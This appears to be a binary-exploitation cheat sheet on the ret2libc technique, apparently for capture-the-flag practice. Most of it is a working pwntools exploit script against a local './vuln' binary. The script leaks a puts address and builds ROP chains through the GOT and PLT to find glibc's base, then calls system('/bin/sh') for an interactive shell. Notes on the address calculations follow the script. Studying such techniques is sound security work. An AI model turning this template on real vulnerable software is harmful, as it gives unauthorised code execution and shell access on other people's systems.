ret2libc
When NX is enabled
and is dynamically linked.
Example 1
from pwn import *
context(os='linux', arch='amd64')
context.binary = elf = ELF('./vuln')
glibc = ELF('glibc/libc.so.6', checksec=False)
p = process('./vuln')
# Find somewhere to leak the address of puts
# Interact with the program...
p.sendlineafter(b'> ', b"AAAAAAA")
p.recvuntil(b'> AAAAAAA\n')
leak = u64(p.recvline().strip().ljust(8, b'\0'))
log.success(f'puts leak: {hex(leak)}')
# Check what is the offset from the base of ELF (to calculate 0x*000)
elf_base_offset = 0xd70
elf.address = leak - elf_base_offset
log.success(f'ELF base address: {hex(elf.address)}')
# [+] ELF base address: 0x5589ad600000
#####################
# Load ROP gadgets after setting elf.address
rop = ROP(elf)
# Padding to the overflow return address
offset = 88
# Build the ROP chain to leak puts address at runtime
payload = flat({
offset: [
rop.rdi.address, # or pop.rdi[0] -- We only need 1 argument so "pop rdi; ret;" is used
elf.got.puts, # Add Global Offset Table (GOT) puts as the first argument
elf.plt.puts, # Return from current function will call puts from the Procedure Linkage Table (PLT)
elf.sym.main # Return to the start of the program using the Symbol Table
]
})
p.sendlineafter(b'> ', payload)
p.recvline()
p.recvline()
puts_addr = u64(p.recvline().strip().ljust(8, b'\0'))
glibc.address = puts_addr - glibc.sym.puts
log.success(f'Glibc GOT puts address: {hex(puts_addr)}')
log.success(f'Glibc base address: {hex(glibc.address)}')
log.info(f'ELF GOT puts address: {hex(elf.got.puts)}')
log.info(f'ELF PLT puts address: {hex(elf.plt.puts)}')
###########################
payload = flat({
offset: [
rop.rdi.address,
next(glibc.search(b'/bin/sh\0')),
# rop.ret.address, # stack alignment
glibc.sym.system
]
})
## Interact with program to reach vulnerable point...
p.sendlineafter(b'> ', payload)
p.recv()
p.interactive()
Notes
# [*] puts leak - hex(leak) - 0x5589ad600d70
# [*] ELF base offset - hex(elf_base_offset) - 0x000000000d70
# [*] ELF base address - hex(elf.address) - 0x5589ad600000
# [*] ELF GOT puts addres - hex(elf.got.puts) - 0x5589ad802f90
# [*] ELF PLT puts address - hex(elf.plt.puts) - 0x5589ad600760
# [*] elf.address = leak - elf_base_offset
# [*] 0x5589ad600000 = 0x5589ad600d70 - 0x000000000d70
# [*] Glibc GOT puts address - hex(puts_addr) - 0x7f0ce646f6a0
# [*] Glibc symbtab puts address - hex(glibc.sym.puts) - 0x00000006f6a0
# [*] Glibc base address - hex(glibc.address) - 0x7f0ce6400000
# [*] glibc.address = puts_addr - glibc.sym.puts
# [*] 0x7f0ce6400000 = 0x7f0ce646f6a0 - 0x00000006f6a0
## glibc.sym.puts is equal to 0x00000006f6a0 before glibc.address is set.
## Once glib.address is set, it updates to the actual address of puts (puts_addr or 0x7f0ce646f6a0)
## Then, all symbols should be loaded in glibc.sym
## Same is true for elf.gots and elf.plt addresses
## For instance:
# [+] before setting glibc.address - glibc.sym.puts - 0x00000006f6a0
# [+] after setting glibc.address - glibc.sym.puts - 0x7f0ce646f6a0
# [+] before setting glibc.address - glibc.sym.system - 0x0000000453a0
# [+] after setting glibc.address - glibc.sym.system - 0x7f0ce64453a0
# [+] before setting glibc.address - glibc.sym.printf - 0x000000055810
# [+] after setting glibc.address - glibc.sym.printf - 0x7f0ce6455810
## Other functions than puts could be used to leak the address, like the read function
## that we're sure is present.